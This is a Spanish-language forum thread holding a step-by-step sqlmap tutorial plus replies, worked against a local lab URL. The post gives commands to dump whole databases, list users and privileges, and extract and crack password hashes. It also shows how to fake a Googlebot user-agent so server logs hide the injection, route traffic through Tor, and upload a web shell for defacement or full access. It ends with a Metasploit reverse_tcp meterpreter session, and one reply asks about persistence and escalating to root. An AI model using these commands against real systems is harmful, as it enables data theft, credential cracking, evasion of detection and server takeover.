Aprendiendo SQLMAP avanzado

Iniciado por BrowserNet, Mayo 23, 2016, 10:55:49 AM

Tema anterior - Siguiente tema

0 Miembros y 2 Visitantes están viendo este tema.

Mayo 23, 2016, 10:55:49 AM Ultima modificación: Mayo 23, 2016, 03:19:39 PM por BrowserNet


Saludos tíos en esta oportunidad vamos a aprender sobre la herramienta Sqlmap en su entorno Inicial y el avanzado
¿Que es el SQLMAP ?

El sqlmap es una herramienta en código abierto, la cual nos permite inyectar  una web automáticamente,y nos permite utilizar varias variables en sus ejecuciones de comandos.
Nuestros Primeros Pasos en el SQLMAP

Utilizare el Sistema Operativo Backtrack R3 /Linux.

Abriremos Nuestra Terminal y pondremos lo siguiente para entrar al directorio.

Código: php
cd /pentest/database/sqlmap


Lo que haremos ahora sera ejecutar el primer nivel de testeo del sqlmap en este caso el nivel 1, pondremos la url con el error de SQL  en este caso un parámetro GET

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


agregaremos una comilla al final  o adelante del numero, la cual nos  confirmara si es vulnerable a una sql inyección  botando el siguiente mensaje :

" You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '9'' at line 1 "

Como vemos esta es una forma de identificar dicho error para inyectarlo, buenos vayamos al grano  8)

Ejecutamos este código en la terminal :

Código: php
./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --dbs


Una ves ejecutado el código, el sqlmap empezara a  Testear la web, una ves terminada  saldrán las base de datos que tenga la misma como vemos en la imagen.



Para Entrar a las base de datos y ver sus tablas pondremos el siguiente codigo

Código: php
./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --D privacidaddb --tables 


Como vemos eh entrado a la base de datos "Privacidaddb"  nos voto las tablas y entre ellas columnas que tienen la información primordial de la web.



Ahora entraremos a la Tabla " usuarios " y  extraeremos todos los datos de un porrazo

Código: php
./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --D privacidaddb -t usuarios --columns --dump




Esta es la manera típica de obtener datos paso por paso

Si deseamos tener todos los datos de las base de datos / tablas columnas y datos de la misma, pondremos  este codigo

Código: php
./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --dump-all 




pero si deseamos tener la base de datos de la web relacionada a las conexiones de la misma base de datos afectaba pondremos el código

Código: php
./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 -p id --current-db 




También es muy importante Proteger nuestra privacidad y sobre todo camuflar nuestra Inyección en los Logs del servidor alojado de la web, ya que cada ves que entramos a una web, se quedan grabados nuestras navegaciones, como nuestra IP / y sobre todo el tipo de conexión y petición que usamos , veremos un ejemplo para que se den cuenta.

Como vemos aqui me eh conectado mediante Internet explore  de una maquina virtual mediante el parametro GET :



Ahora me conectare nuevamente asiendo una Inyección SQL para ver como se ve la conexión  :



Como vemos en la imagen " nos dice que la conexión se inicio mediante : "sqlmap/1.0-dev-25eca9d (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)" como vimos detecta hasta el programa que  utilizamos, pero ojo lo que hize fue algo simple ya que solo utilice el codigo del sqlmap.py  -u url --dbs -D , ahora utilizare el código para dumpear las columnas de las tablas:



como vemos nos detecta de una manera mas textual la conexión que estamos relacionado, entonces el web master se daría cuenta que estamos inyectando su web, entonces vamos a camuflar nuestras conexiones

Pondremos este código :

Código: php
./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 -D privacidaddb --tables --user-agent="Mozilla 5 (compatible , Googlebot/2.1, http://www.google.com/bot.html)"




Como vemos hemos camuflado nuestra conexión con un robot  de google la cual esta en todo momento vigente en las conecciones de inicio , y hemos puesto el inicio de origen en este caso " No tienes permitido ver los links. Registrarse o Entrar a mi cuenta"

Luego de ello, vamos a utilizar un metodo de como obtener datos del usuario de la web :

Código: php
sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9  --current-user 




en este otro método vamos a comprobar si el usuario obtenido es correcto al de la base de datos.

Código: php
./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --is-dba --current-db




Debemos tener en cuenta que también podemos ver los privilegios de administradores por medio de este tipo de inyección, pondremos el siguiente código :

Código: php
./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --privileges




Como vimos obtuvimos datos de los privilegios activados .

ahora aprenderemos el mismo metodo, pero en esta ves obtendremos todos los usuarios de DBS mediante este comando:

Código: php
./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --users




como vemos esta alojado como en el sistema como ROOT y corre en un Gnu/Linux ahora viene lo interesante , Obtener las contraseñas de los usuarios de las dbs, utilizaremos este comando

Código: php
./sqlmap.py -u ./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --password




Como vemos nos sale este mensaje, pero porque ?, porque las contraseñas de los registros en las base de datos, automáticamente de codifican en "Hash" como son el "MD5" , que es la codificación mas conocida, bueno esta alerta " si deseamos poner ["Y" , "N", "Q"] , la Letra "Y" nos quiere decir que si deseamos utilizar un ataque de fuerza Bruta mediante el sqlmap, para descifrar la hash , el  " N " , Sirve para negar el proceso de fuerza bruta y obtener solamente la "hash" y el comando " Q " nos permite terminar el proceso hasta ese momento , Yo Pondre la Opcion "Q" y saldra 3 opciones yo , escogere el diccionario 1 /defauld y en momentos votara lo siguiente:



Como vimos nos muestra la contraseña ya crackeada la cual fue " comandos " y también al usuario que lo pertenece que es " root "

También debemos tener en cuenta que podemos utilizar un tipo de búsqueda mas completa y rápida, con la opción búsqueda, la cual nos facilitara el proceso de búsqueda, como " login " o " usuario / "contraseña" o "password ", en este proceso debemos tener en cuenta que debemos jugar con los nombres de búsquedas,para hallar las columnas aun mas rápido, pondremos este comando :

Código: php
./sqlmap.py -u http://localhost/test/SQL%20Injection/detalle.php?id=9 -C login --search 




como vemos nos sale dos opciones  la primera  "Defauld" nos permite tener una lista opcional de la búsqueda
la segunda opción, " nos permite tener una lista mas completa , entonces yo le dare " la primera opción " 1 y nos saldrá las columnas de las base de datos en general :



automáticamente después no saldrá esta opción que veremos en la imagen:



este proceso nos permitirá hacer un dump de las columnas  halladas en las DBS , entonces yo le pondré la opción : "a" que nos hará un dump en  general, y nos votara así:




si deseas tener un proxy en su testeo con el slqmap  , utilizaremos el " tor " primero debemos instalarlo en nuestro sistema operativo, una ves instalado  y configurado utilizaremos este comando .

Código: php
./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --dbs --tor 



Yo solamente pongo el tor porque para mi es uno de los mas seguros, claro si sabes configurar bien el valida con el tor.

Herramientas del Sqlmap

Actualmente hemos utilizado el slqmap para obtener datos de una web, y para ser sinceros hemos obtenido los datos del  administrador , o simplemente no hemos obtenido datos, ya sea por un error en el testeo, o simplemente porque no había los datos de logeo , la cual necesitamos para nuestro " Deface " o para tener el  acceso general a la web entonces nos hemos rendido ante esos pequeños problemas  ahora dime te preguntaras sqlmap tendrá herramientas que me permitan otro tipo de proceso para subir archivos ? pues yo te diré que si esta es una herramienta poderosa que nos permite hacerlo vayamos a la acción tio  8)

Entramos al sqlmap y pondremos el siguiente código

Código: php
./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --os-shell 




Como vemos en la imagen, nos muestra 4 tipos de extensiones web's en este caso, nosotros escogeremos el numero 3  ,porque nuestro upload estará basado el dicha programación, ya que es estándar en los servidores web , yo eligire el php y nuego de ello le damos enter y pondremos el discloure parch  ! yo puse el del inicio de la web, como vemos aqui, luego de ello nos voto! abajo 2 URL" donde nos indicia que el upload subio correctamente.



Entraremos al primer link:



tango down! pasamos a Subir nuestra shell y tenemos acceso total al sistema

Utilizar slqmap con Metasploit , mediante este proceso crearemos  un exploit  pasar a utilizar los payloads como  " Reverse_tcp" para  tener una sesión   reversa, subiendo nuestros "archivos infectados al servidor web" vamos a la acción ! Pondremos el siguiente codigo :

Código: php
./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --os-pwn


Una ves ejecutado nos saldrá esta opción.



Ejecutaremos el primero , ya que vamos a utilizar una conexion de taza  transferencia de protocolos / TCP , con metasploit luego nos saldra las mismas opciones las cuales ejecutamos en la sección de arriba ,como subir un upload por sqlmap, usaremos el mismo procedimiento hasta que les salga estas opciones:



en esta sección no pide crear una shellcode para utilizar la conexión y nos arroja 5 opciones , entonces yo escogeré la opción " 2 " la cual es "Reverse_tcp" , con los  puertos por defecto  " entonces son saldrán 2 opciones y le daremos " Enter " una ves ello nos dirá:



Entonces le  pondré " 1 " ya que capturaremos las sesión meterpreter  y empezara el proceso ...........
luego de ello nos saldrá que ah sido creado nuestra sesión con el ejecutable



Luego de ello se abrirá  automáticamente el metasploit ejecutando los procesos de explotación y automáticamente iniciara la sesión



Como vemos hemos explotado la web , alojada en un servidor windows y tenemos el acceso total interesante . . . . . . . .
Bueno tíos esto fue todo, espero hallan aprendido estos códigos y formas de explotación  mediante el sqlmap , hasta la próxima

Muy buen post BrowserNet, justo ahora estoy en un proyecto interesante, el so es ubuntu, que maneras serían las apropiadas para crear persistencia en este tipo de ataques, digo podríamos crear un usuario en el sistema , pero como pasar del usuario www-data a uno root

Enviado desde mi HTC One mediante Tapatalk


Creo que incluso podes subir hasta una shell, si el motor de base de datos esta corriendo como root

El problema es que, siendo sinceros Casi nunca ocurre eso el usuario www-data está muy limitado

Enviado desde mi HTC One mediante Tapatalk



Con cualquier SO sólo tienes que tener python y bajar sqlmap del repositorio

Enviado desde mi HTC One mediante Tapatalk


¡Muy buen post!, sirve de mucho debido el motivo de la comunidad.

Terrible aporte @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta!!
Te has pasado!
Muchisimas gracias!!!

Saludos,
ANTRAX


La verdad que si, un aportazo y bastante bien explicado. Lo estoy complementando con el libro de SQLi de 0xWORD.

Un golazo!
Pikaa~